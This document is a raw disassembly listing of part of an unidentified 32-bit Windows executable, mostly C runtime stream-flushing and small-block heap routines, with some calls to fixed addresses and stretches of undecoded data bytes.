; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2710000h
		cmp	eax, esi
		jz	short loc_41E150


loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp

; ---------------------------------------------------------------------------
a1PP9ZuplLdb	db '1',0Bh,'Ùœ9Å',0Dh,'zž‹<Ld¡',0
		align 4
aPdi		db 'Pd‰%',0
		align 10h
		dd 5358EC83h, 65895756h, 0ACE890E8h, 3302473Ah,	89D48AD2h
		dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh
		dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 0C4E8FC75h, 90000058h, 473A22E8h, 0D38CA302h, 82E8004Dh
		dd 0A3000057h, 4DBE34h,	552BE8h, 546DE800h, 0F9E80000h
		dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2471D88h, 53FEE8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 2312E856h, 50900229h, 0FE2F80E8h,	0A04589FFh
		dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	3CE85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; ___:00423721p ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE3C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE40
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DBE3C
		dd 0E8057501h, 5A9Ch, 42474FFh,	5ACCE8h, 0FF685900h, 90000000h
		dd 0A579A4E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD140
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		call	near ptr 2680000h
		nop
		test	eax, eax
		jnz	short loc_41E38B
		nop
		call	near ptr 26A0E98h
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; ___:0041DAC2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD020, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: ___:0041E660p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 26B05ACh
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26F057Eh
		test	eax, eax
		jz	short loc_41E56D
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E56D
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: ___:0041E551j
					; ___:0041E55Aj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: ___:0041E5ADj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: ___:0041E5A0j
					; ___:0041E5A4j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: ___:0041E59Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp-122Ch]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: ___:0041E5C7j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: ___:0041E603j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: ___:0041E5F6j
					; ___:0041E5FAj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: ___:0041E5F0j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: ___:0041E5CFj
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: ___:0041E63Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: ___:0041E636j
		inc	ecx


loc_41E63D:				; CODE XREF: ___:0041E63Aj
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: ___:0041E631j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: ___:0041E586j
					; ___:0041E61Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E4FD
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: ___:0041E568j
					; ___:0041E650j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 491B69E8h
		dd 0A3C08502h, 4DD384h,	93E83674h, 83FFFFFEh, 88A303F8h
		dd 75004DD3h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 0E890004Dh
		dd 2491938h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DD384h
		dd 191EE890h, 0C085023Ch, 4DD37CA3h, 0C3017500h, 4244C8Bh
		dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h
		dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD378
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD37C
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD374
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD36C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DD36C
		mov	eax, dword_4DD374
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD374
		mov	ecx, dword_4DD36C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD374
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD374
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD374


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DD374
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD384
		call	near ptr 27D05FFh
		nop
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD374
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD378
		cmp	eax, dword_4DD374
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD37C
		mov	dword_4DD370, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD36C, edi
		mov	dword_4DD374, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD370
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD370, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
